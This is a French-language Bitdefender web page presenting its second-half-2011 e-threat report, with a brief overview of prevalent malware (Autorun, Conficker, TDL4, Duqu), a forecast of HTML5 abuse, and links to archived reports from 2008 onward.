L’objectif de ce rapport est de fournir les résultats d'une enquête détaillée sur les menaces informatiques actuelles. Les experts en sécurité de Bitdefender® ont analysé et examiné en détail les menaces de chaque semestre, en se concentrant sur les vulnérabilités et exploits des logiciels, les différents types de malwares, mais aussi sur les mesures prises pour les combattre, la prévention contre le cybercrime, et l’application des lois. Ce rapport sur les e-menaces est principalement axé sur les dernières tendances, mais contient aussi des faits et données concernant les périodes d’investigation précédentes, ainsi que quelques prévisions concernant les prochains semestres. Ce document est surtout destiné aux responsables de la sécurité des systèmes d'information, aux administrateurs réseaux, aux développeurs de technologies de sécurité, aux analystes et chercheurs, mais il aborde également des problèmes intéressant une audience plus large, comme les petites entreprises et les particuliers soucieux de la sécurité et de l’intégrité de leurs réseaux et systèmes.
Zoom sur les malwares
Bien que corrigée en 2008, la fonctionnalité de détournement de l’Autorun continue à être la technologie des systèmes Windows la plus exploitée. La famille Autorun est suivie du ver Downadup (Conficker) qui constitue la deuxième emenace la plus destructrice du 2nd semestre 2011. Il est intéressant de noter que ces deux malwares continuent à faire des ravages alors que leur code n’a pas été mis à jour depuis des années et que les gangs de cybercriminels les ayant créés ont très probablement disparu.
Prévisions concernant les emenaces
L’année 2011 a été particulièrement riche en activités malveillantes. Elle a débuté sous le signe des détournements de données et des fuites d’informations en entreprises avec l’émergence de bots extrêmement sophistiqués tels que ZeroAccess et TDL4, et s’est achevée avec Duqu, « le fils de Stuxnet »
L’introduction de HTML5
Ce nouveau langage est actuellement pris en charge par les principaux navigateurs et offre de nouveaux niveaux d’interaction entre l’utilisateur et les sites Web. Si l’amélioration de l’interaction est le principal objectif du lancement d’une version majeure du populaire langage de balisage, les nouvelles fonctionnalités permettront aux cyber-escrocs de concevoir des scams plus efficaces contre les utilisateurs d’Internet via les « Notifications Web », de suivre les victimes avec les données de géolocalisation (en particulier si elles utilisent HTML5 sur leur smartphone) ou même, de lancer des attaques contre d’autres sites directement à partir du navigateur de la victime.
Télécharger Rapport sur les e-menaces au 2nd semestre 2011 (pdf)
Télécharger maintenant le résumé Résumé du rapport sur les e-menaces au second semestre 2011 (pdf)
Archive
2011
Télécharger Résumé du rapport sur les e-menaces au 1er semestre 2011 (pdf)
2010
Télécharger Résumé du rapport sur les e-menaces au 2ème semestre 2010 (pdf)
Télécharger Rapport sur les e-menaces au 2ème semestre 2010 (pdf)
Télécharger Résumé du rapport sur les e-menaces au 1er semestre 2010 (pdf)
Télécharger Rapport sur les e-menaces au 1er semestre 2010 (pdf)
2009
Télécharger Résumé du rapport sur le malware et le spam au 1er semestre 2009 (pdf)
Télécharger Rapport sur les e-menaces au 1er semestre 2009 (pdf)
Télécharger Rapport sur le malware et le spam au 2ème semestre 2009 (pdf)
Télécharger Résumé du rapport sur les e-menaces au 2ème semestre 2009 (pdf)
2008
Télécharger Rapport sur les e-menaces au 1er semestre 2008 (pdf)
Télécharger Rapport sur les e-menaces au 2ème semestre 2008 (pdf)
A qui s’adresser ? Vous trouverez ci-dessous la liste de tous nos porte-parole prêts à répondre à chacune de vos questions.
Responsable des relations publiques internationales
Coordinateur des relations publiques internationales
Asie- Pacifique & Amérique du Nord
Coordinateur des relations publiques internationales
Amérique latine & CEMEA (Europe centrale, Moyen-Orient et Afrique)
France, Benelux, Suisse
